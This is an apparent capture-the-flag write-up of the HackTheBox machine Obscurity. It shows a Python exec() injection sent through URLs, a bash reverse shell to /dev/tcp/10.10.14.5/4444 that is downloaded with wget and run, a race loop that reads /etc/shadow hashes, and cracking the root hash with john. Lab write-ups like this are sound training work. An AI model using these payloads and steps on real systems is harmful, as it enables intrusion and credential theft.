HackTheBox – Obscurity

The HackTheBox machine Obscurity started with the usual nmap scan, it only revealed two open ports:

Nmap scan report for 10.10.10.168
Host is up (0.030s latency).
Not shown: 65531 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   closed http
8080/tcp open   http-proxy
9000/tcp closed cslistener

The website was static content that I couldn’t do much with but it contained this hint:

With that I know that the file SuperSecureServer.py exists somewhere on the server. The normal dirb runs against the target revealed nothing. Since I know the filename, I can try to bruteforce more specific by including this. For that I can use ffuf. And that finds the source code of the webserver:

# ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

 :: Method           : GET
 :: URL              : http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

develop                 [Status: 200, Size: 5892, Words: 1806, Lines: 171]
:: Progress: [4614/4614] :: 419 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

Now I can fetch the Python code from http://10.10.10.168:8080/develop/SuperSecureServer.py. This contains one interesting function:

This will execute the given path in the request. While working on something like this, it’s a good idea to test the payload locally since I won’t get the response back from the server. I’ve created the following script with only the relevant function call:

import os
import urllib.parse

path = "/index.html"

path = urllib.parse.unquote(path)
info = "output = 'Document: {}'" 
print(info.format(path))
exec(info.format(path))

Running this will display the output of info.format(path) which is what would get executed:

output = 'Document: /index.html'

Now first it’s important to understand that exec() doesn’t run system binaries, it runs Python functions. Next we can see that we control the part after Document: inside of quotes. What we need to do is close the current variable assignment by sending any path followed by a ‘ and then insert a newline.
In that line we can then run anything we want as long as it’s Python code.
And finally since there is still the remaining single-quote we need to add a # to comment that out.
That leads to this payload:

/'\nos.system('id')#/index.html

Changing the above script to use that in the path variable and executing again, I can verify that the id command gets executed:

output = 'Document: /'
os.system('id')#/index.html'
uid=0(root) gid=0(root) groups=0(root)

I’ve spent a bit of time by injecting the wrong \n now into the request. If you throw this payload into any URL encoder, it will encode the backslash as %5C. But this won’t work, you want a line-break, which is %0A.
After figuring this out, I came up with the following PoC:

# time curl "http://10.10.10.168:8080/'%0Aos.system('sleep%205')%23/index.html"
<div id="main">
    	<div class="fof">
                <h1>Error 404</h1>
                <h2>Document /'
os.system('sleep 5')#/index.html could not be found</h2>
    	</div>
</div>

real	0m5.138s
user	0m0.006s
sys	0m0.006s

Whenever I get remote code execution without getting the output back, the first command I run is sleep 5. You can never know if the binary you are trying to run exists on the server, but sleep is almost always there. If that request takes 5 seconds, you got RCE. Now you just need to adapt the command to run.

First I created a reverse shell bash script locally and served it in the DocumentRoot of my attacking system, with the following content:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

I started a netcat listener on port 4444 and then downloaded it to the target and executed it:

# curl "http://10.10.10.168:8080/'%0Aos.system('wget%2010.10.14.5/rev.sh%20-O%20/tmp/rev.sh')%23/index.html"
<div id="main">
    	<div class="fof">
                <h1>Error 404</h1>
                <h2>Document /'
os.system('wget 10.10.14.5/rev.sh -O /tmp/rev.sh')#/index.html could not be found</h2>
    	</div>
</div>
# curl "http://10.10.10.168:8080/'%0Aos.system('bash%20/tmp/rev.sh')%23/index.html"

And with that the listener got a connection back, as the www-data user:

In the home folder of the user robert we find a Python script which encrypts and decrypts data (“SuperSecureCrypt.py”). Next to it there a encrypted “passwordreminder.txt” file. But there is also a encrypted file “out.txt” and the plain-text file “check.txt”. The last one contains:

Encrypting this file with your key should result in out.txt, make sure your key is correct! 

The relevant part of the code to encrypt data is:

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

Since we have both the plain-text and encrypted file, I can perform a known plaintext attack. For that I copied all of those files locally and changed the decrypt function to the following:

def decrypt(text, key):
    pos = 0
    knownPlain = "Encrypting this file with your key should result in out.txt, make sure your key is correct!"
    max = len(knownPlain)
    for x in text:
        i = 0
        while True:
            keyChr = chr(i)
            newChr = ord(x)
            newChr = chr((newChr - ord(keyChr)) % 255)
            if newChr == knownPlain[pos]:
                print(chr(i), end = '')
                pos += 1
                if pos == max:
                    print()
                    exit(0)
                break
            else:
                i += 1

Basically this now takes the first character of the encrypted file “out.txt” and decrypts it with every possible character until the decrypted character is “E” – the first character of the known plaintext.
When it matches it moves on to the next character.
Running this produces:

# python3 dec.py -d -i out.txt -o foo.txt -k A
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file out.txt...
Decrypting...
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich

The key is being printed multiple times, since it gets looped around if the data is longer than the key. So the key is: alexandrovich
Now we can run the unchanged Python script to decrypt the password reminder file:

# python3 SuperSecureCrypt.py -d -i passwordreminder.txt -k alexandrovich -o password.txt
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file passwordreminder.txt...
Decrypting...
Writing to password.txt...
# cat password.txt 
SecThruObsFTW

With this password we can now login as robert to the target:

root@kali:~# ssh robert@10.10.10.168
robert@10.10.10.168's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

Last login: Sun Dec 15 07:57:47 2019 from 10.10.14.5
robert@obscure:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),4(adm),24(cdrom),30(dip),46(plugdev)
robert@obscure:~$ cat user.txt 
e44937***************

The user robert is allowed to run one command with sudo privileges as root:

    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

The relevant part of the script is this:

try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)

The script asks us to input a username and password.
It then reads every line of /etc/shadow.
It parses those lines and extracts some fields from it including username and password hash.
It then writes this information to a random file in /tmp/SSH.
Then it waits for 100ms.
After that it will compare your input and eventually delete the file in /tmp/SSH.

When the machine first starts the folder in /tmp does not exist, so you need to create it by running mkdir /tmp/SSH. Thanks to that, we’ll also be able to read the file in that folder when it gets placed there.

For this I’ve connected twice to the system. In one shell I’m running this command:

while true; do cat /tmp/SSH/* 2>/dev/null && break; done

This will try to cat any file in that folder. After the first successful cat it will stop.
And in another shell I just run sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py and input any username and password.

I now got the root password hash and can attack it locally using john:

# cat hash 
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mercedes         (?)

With that I can become root via su -: